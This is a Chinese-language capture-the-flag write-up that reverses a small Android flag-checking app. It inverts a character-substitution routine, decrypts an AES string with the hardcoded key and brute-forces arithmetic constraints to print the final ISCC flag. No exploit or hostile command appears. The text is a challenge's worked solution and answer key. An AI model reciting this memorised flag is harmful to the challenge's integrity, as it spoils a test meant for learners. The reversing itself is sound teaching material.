setContentView(C0272R.layout.activity_main);
}

public void onClick(View view) {
if (getFlag(((EditText) findViewById(C0272R.C0274id.editText)).getText().toString())) {
Toast.makeText(this, "right", 0).show();
} else {
Toast.makeText(this, "wrong", 0).show();
}
}

private boolean getFlag(String input) {
String s = first.firstStr(input);
if (s.length() < 15 || !s.substring(0, 5).equals("ISCC{") || !s.substring(s.length() - 1).equals("}")) {
return false;
}
String s1 = s.substring(5, 15);
String s2 = s.substring(15, s.length() - 1);
if (s1.equals(second.secondStr()) && third.thirdStr(s2)) {
return true;
}
return false;
}
}

可以看到调用了first 、 second 、 third类,那就继续看看吧

Class first

1
2
3
4
5
6
7
package com.example.mobileeasy;

public class first {
public static String firstStr(String s) {
return s.replace("B1", "dN").replace("_", "8").replace("!", "P").replace("rea", "hwl").replace('1', 'u').replace("m", "+");
}
}

Class second

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.mobileeasy;

import android.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class second {
public static String secondStr() {
byte[] key = "1234567890123456".getBytes();
try {
byte[] middle = Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==", 0);
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
cipher.init(2, skeySpec);
return new String(cipher.doFinal(middle)).replace(" ", BuildConfig.FLAVOR);
} catch (Exception e) {
e.printStackTrace();
return BuildConfig.FLAVOR;
}
}
}

Class third

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.mobileeasy;

public class third {
public static boolean thirdStr(String s) {
if (s.length() != 8) {
return false;
}
int a0 = s.charAt(0);
int a1 = s.charAt(1);
int a2 = s.charAt(2);
int a3 = s.charAt(3);
int a4 = s.charAt(4);
int a5 = s.charAt(5);
int a6 = s.charAt(6);
int a7 = s.charAt(7);
if (a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 && (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 && (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80) {
return true;
}
return false;
}
}

基本分析

MainActivity

Mainactivity里面最重要的地方

1
2
3
4
5
6
7
8
9
10
11
12
private boolean getFlag(String input) {
String s = first.firstStr(input);
if (s.length() < 15 || !s.substring(0, 5).equals("ISCC{") || !s.substring(s.length() - 1).equals("}")) {
return false;
}
String s1 = s.substring(5, 15);
String s2 = s.substring(15, s.length() - 1);
if (s1.equals(second.secondStr()) && third.thirdStr(s2)) {
return true;
}
return false;
}

这是个用来判断输入的flag是否正确的函数

功能为

1
2
3
4
5
6
传入字符串(input)->first.firstStr(input)处理->条件判断(必须符合某些条件)

*条件
1、s.length() < 15 //必须大于等于15
2、!s.substring(0, 5).equals("ISCC{") //0-4个字符,共5个字符必须为ISCC{
3、!s.substring(s.length() - 1).equals("}") //最后一个字符必须为}
1
2
->分割字符串从第5个到第15个前(索引从0开始)保存到变量s1
->分割字符串从15个到倒数第一个前 保存到变量s2
1
2
->s1与second.secondStr()的结果作比较
->s2传入到third.thirdStr()

顺便说下Java的substring,让自己注意一下

js的话是这样写的

1
2
var str="Hello world!"
document.write(str.substring(str.length-1, str.length))

Java的话可以只有一个参数length() - 1,能取到字符串最后一位

1
2
3
4
5
6
7
8
package helloworld;

public class hello{
public static void main(String[] args) {
String a = "abc";
System.out.println(a.substring(a.length() - 1));
}
}

当然也可以像上面的js那样写

1
2
3
4
5
6
7
8
package helloworld;

public class hello{
public static void main(String[] args) {
String a = "abc";
System.out.println(a.substring(a.length() - 1, a.length()));
}
}

360截图17290429699878

first类

first类里的firstStr函数是简单的字符替换,我们可以把它反着来再新建一个函数firstStr1()

360截图17980110817573

1
2
3
4
5
6
7
8
9
10
11
package helloworld;

public class first {
public static String firstStr(String s) {
return s.replace("B1", "dN").replace("_", "8").replace("!", "P").replace("rea", "hwl").replace('1', 'u').replace("m", "+");
}
public static String firstStr1(String s) {
return s.replace("dN", "B1").replace("8", "_").replace("P", "!").replace("hwl", "rea").replace('u', '1').replace("+", "m");
}
}

second类

前面说过字符串和second.secondStr()的结果作比较,那么可以直接输出second.secondStr()来获取部分flag

需要注意,eclipse里面不存在android.util.Base64,但是可以用java.util.Base64代替

相应的,需要改变调用方式

1
Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==", 0) -> Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==")

还有eclipse不存在 BuildConfig.FLAVOR

先查看 BuildConfig.FLAVOR

360截图178606067973110

既然为空的话那就直接写“”

最后代码变成了这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package helloworld;

import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;


public class second {
public static String secondStr() {
byte[] key = "1234567890123456".getBytes();
try {
byte[] middle = Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
cipher.init(2, skeySpec);
return new String(cipher.doFinal(middle)).replace(" ", "");
} catch (Exception e) {
e.printStackTrace();
return "";
}
}

}

运行一下试试

360截图17860531345883

看起来怪怪的

调用first.firstStr1()还原一下看看

舒服了,这才是正常的样子

360截图17690619336333

third类

第一个要求为8个字符,然后开始一个一个单独取char值,赋值给int型变量a0-a7

要求满足一大串东西

1
a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 && (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 && (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80

整理一下

360截图18141219463849

两三个逐个击破可能会简单一点

直接遍历字符串算了,先把可能值弄出来

1
2
String aaa = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}";
int a_l = aaa.length();

其实是由js生成的,取需要的部分就行

1
2
3
4
var str1 = "";
for (i=0;i<200;i++) {
str1 += String.fromCharCode(i);
}

360截图18430703234938

进一步操作

接下来只要把最后8位获取出来就行了

我比较笨,一个一个遍历,其实也就不到两秒的事

条件选取

先把third类按照

1
2
3
a0 % 8 == 7 && a0 % 9 == 8  && a1 - 3 == 100
(a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120
(a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80

处理一下

360截图18000909719690

进行三次循环

360截图17571119548191

获得输出

得到

1
2
3
Gg
9hw
lTP
还原

用first.firstStr1()翻译一下

last_part

拼接

获得flag

ISCC{m0B1lE_1s_Gg9reaT!}

结束

谢谢观看

EOF